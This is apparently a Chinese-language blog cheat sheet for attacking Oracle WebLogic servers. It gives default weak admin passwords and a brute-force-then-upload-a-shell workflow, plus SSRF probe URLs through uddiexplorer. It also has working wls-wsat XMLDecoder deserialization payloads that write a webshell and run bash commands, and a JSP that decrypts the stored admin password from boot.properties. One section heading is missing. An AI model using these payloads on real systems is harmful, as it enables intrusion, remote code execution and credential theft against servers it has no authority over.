
针对Weblogic测试的一些小总结
1. 管理员登录页面弱密码
Weblogic的端口一般为7001
,弱密码一般为weblogic
/Oracle@123
or weblogic
,或者根据具体情况进行猜测,公司名,人名等等,再有就可以用burpsuite的intruder进行暴力破解,一旦成功就可以上传war
包getshell.
1 |
http://192.168.8.128:7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://192.168.1.59:139&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search |
1 |
http://192.168.8.128:7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://192.168.1.59:138&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search |
3. weblogic反序列化
Wenlogic反序列化的漏洞
已经被爆出很长时间,网上可以找出各种各样的工具,在这里我就不再多提了。
4. weblogic_uac
第一步 抓取http://x.x.x.x:7001/wls-wsat/CoordinatorPortType
对其发起POST
请求(任意包都可以,只要url对就可以)
第二步 加入Content-Type:text/xml
第三步 在body
中放入payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java><java version="1.4.0" class="java.beans.XMLDecoder"> <object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/a.jsp</string><void method="println"> <string><![CDATA[`此处放马(因为马的代码量太长顾不在此处展示ps:此处上传的不要带有中文要不会报错,可删掉中文上传,也可进行编码处理)` ]]></string></void><void method="close"/> </object> </java> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope> |
以上为默认路径,如果不是默认路径同时又是linux
系统可用以下payload爆出路径
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java version="1.8.0_131" class="java.beans.xmlDecoder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>/bin/bash</string> </void> <void index="1"> <string>-c</string> </void> <void index="2"> <string>find $DOMAIN_HOME -type d -name bea_wls_internal|while read f;do find $f -type d -name war;done|while read ff;do echo $ff >$ff/a.txt;done</string> </void> </array> <void method="start"/></void> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope> |
5. weblogic 在线与离线解密
如有webshell可进行在线解密
把以下代码放入服务器进行访问,s=""
中填写weblogic的加密密码,可在boot.properties
文件中找到。默认路径为../../../Server/security/boot.properties
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
<%@page pageEncoding="utf-8"%> <%@page import="weblogic.security.internal.*,weblogic.security.internal.encryption.*"%> <% EncryptionService es = null; ClearOrEncryptedService ces = null; String s = null; s="{AES}wfFNcH6k+9Nz22r1gCMnylgUr9Ho5kz8nDgib/TuOZU="; es = SerializedSystemIni.getEncryptionService(); if (es == null) { out.println("Unable to initialize encryption service"); return; } ces = new ClearOrEncryptedService(es); if (s != null) { out.println("\nDecrypted Password is:" + ces.decrypt(s)); } %> |
离线解密需要两个文件SerializedSystemIni.dat
和boot.properties
作者:5ecu****